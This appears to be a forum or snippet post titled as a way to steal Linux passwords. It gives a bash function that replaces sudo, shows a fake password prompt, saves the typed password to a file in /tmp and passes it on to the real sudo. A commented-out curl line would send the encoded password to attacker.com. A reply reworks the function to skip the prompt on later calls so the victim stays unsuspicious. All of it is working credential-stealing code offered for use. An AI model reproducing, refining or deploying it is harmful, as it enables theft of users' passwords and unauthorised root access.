Sudo function for stealing Linux passwords

sudo

function sudo () 
{ 
    # https://null-byte.com/privesc-0194190/
    realsudo="$(which sudo)";
    read -s -p "[sudo] password for $USER: " inputPasswd;
    printf "\n";
    printf '%s\n' "$USER : $inputPasswd" > /tmp/hackedPasswd.txt;
    # encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1;
    # curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1;
    $realsudo -S -u root bash -c "exit" <<< "$inputPasswd" > /dev/null 2>&1;
    $realsudo "${@:1}"
}

Nice! There's one small change I think is worthwhile though:

function sudo () {
    realsudo="$(which sudo)"

    if grep -Fqs "$USER" /tmp/hackedPasswd.txt
    then
        $realsudo "${@:1}"
    else
        read -s -p "[sudo] password for $USER: " inputPasswd
        printf "\n"; printf '%s\n' "$USER : $inputPasswd" > /tmp/hackedPasswd.txt
        $realsudo -S <<< "$inputPasswd" -u root bash -c "exit" > /dev/null 2>&1
        $realsudo "${@:1}"
    fi
}

This way it skips the password prompt for subsequent commands, and doesn't look suspicious to a target running back to back sudo commands when they're still within the "root/sudo timeout" window.